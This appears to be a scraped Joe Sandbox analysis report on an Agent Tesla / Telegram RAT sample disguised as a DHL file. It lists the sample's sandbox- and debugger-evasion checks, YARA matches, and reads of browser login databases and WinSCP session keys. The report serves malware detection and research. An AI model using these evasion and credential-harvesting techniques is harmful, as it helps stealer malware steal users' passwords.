Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -596781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -596671s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -596562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -596452s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -596343s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -596230s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -596015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -595906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -595796s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -595687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -595577s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -595468s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -595359s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -595250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -595139s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -595031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -594844s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -594718s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -594604s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -594482s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 4768	Thread sleep time: -594369s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3884	Thread sleep count: 7649 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3884	Thread sleep count: 2178 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -599782s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -599657s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -599310s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -598938s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -598813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -598704s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -598594s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -598454s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -598329s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -598219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -598094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -597875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -597766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -597625s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -597516s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -597391s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -597266s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -597157s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -597032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -596907s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -596797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -596688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -596563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -596438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -596313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -596188s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -596079s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -595947s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -595843s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -595718s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -595545s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -595435s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -595320s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -595219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -595094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe TID: 3892	Thread sleep time: -594110s >= -30000s	Jump to behavior

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 24sBT3Cffz.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
24sBT3Cffz.exe

Source: DHL8900067.exe, 0000000F.00000002.3640774673.0000000004334000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: wscript.exe, 0000000D.00000002.2772105276.0000024216AB5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: DHL8900067.exe, 0000000F.00000002.3637238131.0000000000400000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: DHL8900067.exe, 0000000F.00000002.3637238131.0000000000400000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem
Source: DHL8900067.exe, 0000000C.00000002.2832056046.0000000003DCB000.00000004.00000020.00020000.00000000.sdmp, DHL8900067.exe, 0000000F.00000002.3639465135.000000000382D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AA4CE8 mov eax, dword ptr fs:[00000030h]	0_2_00AA4CE8
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_02133640 mov eax, dword ptr fs:[00000030h]	0_2_02133640
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_021336A0 mov eax, dword ptr fs:[00000030h]	0_2_021336A0
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_02131EEE mov eax, dword ptr fs:[00000030h]	0_2_02131EEE
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_02131F00 mov eax, dword ptr fs:[00000030h]	0_2_02131F00
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00914CE8 mov eax, dword ptr fs:[00000030h]	12_2_00914CE8
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_04023640 mov eax, dword ptr fs:[00000030h]	12_2_04023640
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_040236A0 mov eax, dword ptr fs:[00000030h]	12_2_040236A0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_04021EEE mov eax, dword ptr fs:[00000030h]	12_2_04021EEE
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_04021F00 mov eax, dword ptr fs:[00000030h]	12_2_04021F00
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 14_2_007D1EEE mov eax, dword ptr fs:[00000030h]	14_2_007D1EEE
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 14_2_007D3640 mov eax, dword ptr fs:[00000030h]	14_2_007D3640
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 14_2_007D36A0 mov eax, dword ptr fs:[00000030h]	14_2_007D36A0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 14_2_007D1F00 mov eax, dword ptr fs:[00000030h]	14_2_007D1F00
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_032D1F00 mov eax, dword ptr fs:[00000030h]	15_2_032D1F00
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_032D3640 mov eax, dword ptr fs:[00000030h]	15_2_032D3640
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_032D36A0 mov eax, dword ptr fs:[00000030h]	15_2_032D36A0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_032D1EEE mov eax, dword ptr fs:[00000030h]	15_2_032D1EEE

Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AB2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00AB2622
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AA083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00AA083F
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AA09D5 SetUnhandledExceptionFilter,	0_2_00AA09D5
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AA0C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00AA0C21
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00401C83 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00401C83
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_004060B4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_004060B4
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00401E16 SetUnhandledExceptionFilter,	12_2_00401E16
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00401F2A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00401F2A
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00922622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00922622
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0091083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_0091083F
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_009109D5 SetUnhandledExceptionFilter,	12_2_009109D5
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00910C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00910C21
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_00401C83 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_00401C83
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_004060B4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_004060B4
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_00401E16 SetUnhandledExceptionFilter,	15_2_00401E16
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_00401F2A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_00401F2A

Source: 24sBT3Cffz.exe, DHL8900067.exe.0.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 24sBT3Cffz.exe, DHL8900067.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 15.2.DHL8900067.exe.3a53658.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DHL8900067.exe.3a40000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DHL8900067.exe.417058.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.DHL8900067.exe.3913658.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DHL8900067.exe.3d10000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DHL8900067.exe.417058.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DHL8900067.exe.4320000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DHL8900067.exe.4043658.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DHL8900067.exe.417058.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DHL8900067.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.DHL8900067.exe.3913658.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DHL8900067.exe.3a53658.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DHL8900067.exe.4320000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DHL8900067.exe.4360000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DHL8900067.exe.4030000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.DHL8900067.exe.3900000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DHL8900067.exe.3d10000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DHL8900067.exe.4030000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DHL8900067.exe.417058.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.DHL8900067.exe.3900000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DHL8900067.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DHL8900067.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DHL8900067.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DHL8900067.exe.3d50000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DHL8900067.exe.3a40000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.DHL8900067.exe.4043658.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.3641301317.00000000052D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2833119001.0000000004883000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3639705406.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3640774673.000000000435D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3640304755.0000000003D10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2803728167.0000000003900000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2833613709.0000000005821000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3640774673.0000000004334000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2832772460.0000000004320000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2833119001.00000000048AD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3640774673.0000000004369000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3640335348.0000000003D52000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2832196987.0000000004030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2832801262.0000000004362000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2829706410.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2832146638.0000000003EA4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3639232868.0000000001244000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3637238131.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2833119001.00000000048B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL8900067.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL8900067.exe PID: 2140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL8900067.exe PID: 1948, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior

Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Source: DHL8900067.exe	Binary or memory string: WIN_81
Source: DHL8900067.exe	Binary or memory string: WIN_XP
Source: DHL8900067.exe.0.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: DHL8900067.exe	Binary or memory string: WIN_XPe
Source: DHL8900067.exe	Binary or memory string: WIN_VISTA
Source: DHL8900067.exe	Binary or memory string: WIN_7
Source: DHL8900067.exe	Binary or memory string: WIN_8